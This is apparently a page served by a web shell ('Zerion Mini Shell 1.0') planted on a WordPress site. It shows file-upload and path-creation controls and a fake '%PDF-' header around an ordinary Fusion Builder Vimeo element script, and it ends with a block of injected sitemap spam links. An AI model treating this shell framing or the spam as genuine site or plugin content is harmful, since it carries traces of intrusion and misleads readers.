%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/fusion-builder/front-end/views/elements/
Upload File :
Create Path :
Current File : /dom645759/wp-content/plugins/fusion-builder/front-end/views/elements/view-vimeo.js

/* eslint no-useless-escape: 0 */
var FusionPageBuilder = FusionPageBuilder || {};

( function() {

	jQuery( document ).ready( function() {

		// Vimeo Element View.
		FusionPageBuilder.fusion_vimeo = FusionPageBuilder.ElementView.extend( {

			/**
			 * Runs after view DOM is patched.
			 *
			 * @since 2.0
			 * @return {void}
			 */
			afterPatch: function() {

				this._refreshJs();
			},

			/**
			 * Modify template attributes.
			 *
			 * @since 2.0
			 * @param {Object} atts - The attributes.
			 * @return {Object}
			 */
			filterTemplateAtts: function( atts ) {
				var attributes = {};

				// Validate values.
				this.validateValues( atts.values, atts.params );

				// Create attribute objects
				attributes.attr            = this.buildAttr( atts.values );
				attributes.title_attribute = ! _.isEmpty( atts.values.title_attribute ) ? atts.values.title_attribute : 'Vimeo video player ' + this.model.get( 'cid' );
				attributes.values          = atts.values;

				// With a preview image the facade is shown, as on the front end.
				attributes.facadeImage  = 'on' === atts.values.video_facade ? atts.values.preview_image : '';
				attributes.facadeClass  = parseFloat( atts.values.height ) > parseFloat( atts.values.width ) ? 'portrait' : 'landscape';
				attributes.facadeParams = 'autoplay=1' + atts.values.api_params.replace( /^autoplay=[01]/, '' ).replace( /^#t=/, '&start=' );

				return attributes;
			},

			/**
			 * Modifies the values.
			 *
			 * @since 2.0
			 * @param {Object} values - The values object.
			 * @return {void}
			 */
			validateValues: function( values, params ) {

				// Make sure only the video ID is passed to the iFrame.
				var regExp = /(?:https?:\/\/)?(?:www\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/([^\/]*)\/videos\/|album\/(\d+)\/video\/|)(\d+)(?:$|\/|\?)/,
					match  = values.id.match( regExp ),
					aspectRatio;

				if ( match && 2 < match.length ) {
					values.id = match[ 3 ];
				}

				// Make videos 16:9 by default, values.width already set to params.width.
				if ( 'undefined' !== typeof params.width && '' !== params.width && ( 'undefined' === typeof params.height || '' === params.height ) ) {
					values.height = Math.round( parseInt( params.width ) * 9 / 16 );
				}

				// values.height already set to params.height.
				if ( 'undefined' !== typeof params.height && '' !== params.height && ( 'undefined' === typeof params.width || '' === params.width ) ) {
					values.width = Math.round( parseInt( params.height ) * 16 / 9 );
				}

				let autoplay = ( 'true' == values.autoplay || 'yes' === values.autoplay ) ? 'autoplay=1' : 'autoplay=0';

				if ( 'undefined' !== typeof values.start_time && '' !== values.start_time ) {
					if ( -1 === values.api_params.indexOf( '#L=' ) ) {
						const dateObject = new Date( values.start_time * 1000 ),
							hours        = dateObject.getUTCHours(),
							minutes      = dateObject.getUTCMinutes(),
							seconds      = dateObject.getSeconds();

						autoplay += '#t=' + String( hours ).padStart( 2, '0' ) + 'h' + String( minutes ).padStart( 2, '0' ) + 'm' + String( seconds ).padStart( 2, '0' ) + 's';
					}
				}

				values.api_params = autoplay + values.api_params;

				values.height = _.fusionValidateAttrValue( values.height, '' );
				values.width  = _.fusionValidateAttrValue( values.width, '' );

				// A set aspect ratio calculates the height from the width.
				aspectRatio = _.awbGetAspectRatioFactor( values.aspect_ratio, values.custom_aspect_ratio );
				if ( aspectRatio && 0 < parseFloat( values.width ) ) {
					values.height = Math.round( parseFloat( values.width ) * aspectRatio );
				}

				values.margin_bottom = _.fusionValidateAttrValue( values.margin_bottom, 'px' );
				values.margin_top    = _.fusionValidateAttrValue( values.margin_top, 'px' );
			},

			/**
			 * Builds attributes.
			 *
			 * @since 2.0
			 * @param {Object} values - The values object.
			 * @return {Object}
			 */
			buildAttr: function( values ) {

				// Attributes.
				var attrVimeo = _.fusionVisibilityAtts( values.hide_on_mobile, {
					class: 'fusion-video fusion-vimeo',
					style: this.getStyleVars( values )
				} );

				if ( 'yes' === values.center ) {
					attrVimeo[ 'class' ] += ' center-video';
				}

				if ( '' !== values.alignment ) {
					attrVimeo[ 'class' ] += ' fusion-align' + values.alignment;
				}

				if ( 'true' == values.autoplay || 'yes' === values.autoplay ) {
					attrVimeo[ 'data-autoplay' ] = '1';
				}

				attrVimeo = _.fusionAnimations( values, attrVimeo );

				if ( '' !== values[ 'class' ] ) {
					attrVimeo[ 'class' ] += ' ' + values[ 'class' ];
				}

				if ( '' !== values.css_id ) {
					attrVimeo.id = values.css_id;
				}

				return attrVimeo;
			},

			getStyleVars: function( values ) {
				var cssVars,
					customCssVars = {},
					sideMargins   = '';
				this.values = values;

				cssVars = [
					'margin_top',
					'margin_bottom'
				];

				if ( 'yes' !== values.center ) {
					customCssVars[ 'max-width' ]  = values.width + 'px';
					customCssVars[ 'max-height' ] = values.height + 'px';
				}

				if ( '' !== values.alignment ) {
					customCssVars.width = '100%';
				}

				if ( 0 < parseFloat( values.border_size ) ) {
					customCssVars[ 'border-size' ]  = parseFloat( values.border_size ) + 'px';
					customCssVars[ 'border-style' ] = values.border_style;

					if ( '' !== values.border_color ) {
						customCssVars[ 'border-color' ] = values.border_color;
					}
				}

				_.each( [ 'top_left', 'top_right', 'bottom_right', 'bottom_left' ], function( corner ) {
					if ( values[ 'border_radius_' + corner ] ) {
						customCssVars[ 'border-' + corner.replace( '_', '-' ) + '-radius' ] = _.fusionGetValueWithUnit( values[ 'border_radius_' + corner ] );
					}
				} );

				// The video facade has a fixed ratio, a set aspect ratio overrides it.
				if ( _.awbGetAspectRatioFactor( values.aspect_ratio, values.custom_aspect_ratio ) && 0 < parseFloat( values.width ) ) {
					customCssVars[ 'aspect-ratio-padding' ] = ( Math.round( values.height / values.width * 10000 ) / 100 ) + '%';
				}

				// Side margins are set directly, so the alignment margins only get replaced when set.
				_.each( [ 'margin_left', 'margin_right' ], function( side ) {
					if ( 'undefined' !== typeof values[ side ] && '' !== values[ side ] ) {
						sideMargins += side.replace( '_', '-' ) + ':' + _.fusionGetValueWithUnit( values[ side ] ) + ';';
					}
				} );

				return this.getCssVarsForOptions( cssVars ) + this.getCustomCssVars( customCssVars ) + _.awbGetBoxShadowCssVar( '--awb-box-shadow', values ) + sideMargins;
			}

		} );
	} );
}( jQuery ) );

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap351.xml 2026-12-01 https://louisvillegop.com/sitemap17.xml 2026-12-01 https://louisvillegop.com/sitemap892.xml 2026-12-01 https://louisvillegop.com/sitemap610.xml 2026-12-01 https://louisvillegop.com/sitemap37.xml 2026-12-01 https://louisvillegop.com/sitemap93.xml 2026-12-01 https://louisvillegop.com/sitemap881.xml 2026-12-01 https://louisvillegop.com/sitemap418.xml 2026-12-01 https://louisvillegop.com/sitemap352.xml 2026-12-01 https://louisvillegop.com/sitemap986.xml 2026-12-01 https://louisvillegop.com/sitemap63.xml 2026-12-01 https://louisvillegop.com/sitemap795.xml 2026-12-01 https://louisvillegop.com/sitemap534.xml 2026-12-01 https://louisvillegop.com/sitemap504.xml 2026-12-01 https://louisvillegop.com/sitemap857.xml 2026-12-01 https://louisvillegop.com/sitemap327.xml 2026-12-01 https://louisvillegop.com/sitemap56.xml 2026-12-01 https://louisvillegop.com/sitemap519.xml 2026-12-01 https://louisvillegop.com/sitemap294.xml 2026-12-01 https://louisvillegop.com/sitemap101.xml 2026-12-01 https://louisvillegop.com/sitemap543.xml 2026-12-01 https://louisvillegop.com/sitemap981.xml 2026-12-01 https://louisvillegop.com/sitemap737.xml 2026-12-01 https://louisvillegop.com/sitemap371.xml 2026-12-01 https://louisvillegop.com/sitemap307.xml 2026-12-01 https://louisvillegop.com/sitemap433.xml 2026-12-01 https://louisvillegop.com/sitemap596.xml 2026-12-01 https://louisvillegop.com/sitemap766.xml 2026-12-01 https://louisvillegop.com/sitemap956.xml 2026-12-01 https://louisvillegop.com/sitemap915.xml 2026-12-01 https://louisvillegop.com/sitemap528.xml 2026-12-01 https://louisvillegop.com/sitemap391.xml 2026-12-01 https://louisvillegop.com/sitemap794.xml 2026-12-01 https://louisvillegop.com/sitemap355.xml 2026-12-01 https://louisvillegop.com/sitemap369.xml 2026-12-01 https://louisvillegop.com/sitemap223.xml 2026-12-01 https://louisvillegop.com/sitemap257.xml 2026-12-01 https://louisvillegop.com/sitemap744.xml 2026-12-01 https://louisvillegop.com/sitemap224.xml 2026-12-01 https://louisvillegop.com/sitemap996.xml 2026-12-01 https://louisvillegop.com/sitemap739.xml 2026-12-01 https://louisvillegop.com/sitemap933.xml 2026-12-01 https://louisvillegop.com/sitemap812.xml 2026-12-01 https://louisvillegop.com/sitemap140.xml 2026-12-01 https://louisvillegop.com/sitemap810.xml 2026-12-01 https://louisvillegop.com/sitemap71.xml 2026-12-01 https://louisvillegop.com/sitemap298.xml 2026-12-01 https://louisvillegop.com/sitemap533.xml 2026-12-01 https://louisvillegop.com/sitemap313.xml 2026-12-01 https://louisvillegop.com/sitemap984.xml 2026-12-01 https://louisvillegop.com/sitemap235.xml 2026-12-01 https://louisvillegop.com/sitemap109.xml 2026-12-01 https://louisvillegop.com/sitemap88.xml 2026-12-01 https://louisvillegop.com/sitemap638.xml 2026-12-01 https://louisvillegop.com/sitemap254.xml 2026-12-01 https://louisvillegop.com/sitemap252.xml 2026-12-01 https://louisvillegop.com/sitemap183.xml 2026-12-01 https://louisvillegop.com/sitemap416.xml 2026-12-01 https://louisvillegop.com/sitemap584.xml 2026-12-01 https://louisvillegop.com/sitemap449.xml 2026-12-01 https://louisvillegop.com/sitemap125.xml 2026-12-01 https://louisvillegop.com/sitemap370.xml 2026-12-01 https://louisvillegop.com/sitemap360.xml 2026-12-01 https://louisvillegop.com/sitemap157.xml 2026-12-01 https://louisvillegop.com/sitemap828.xml 2026-12-01 https://louisvillegop.com/sitemap906.xml 2026-12-01 https://louisvillegop.com/sitemap231.xml 2026-12-01 https://louisvillegop.com/sitemap510.xml 2026-12-01 https://louisvillegop.com/sitemap747.xml 2026-12-01 https://louisvillegop.com/sitemap870.xml 2026-12-01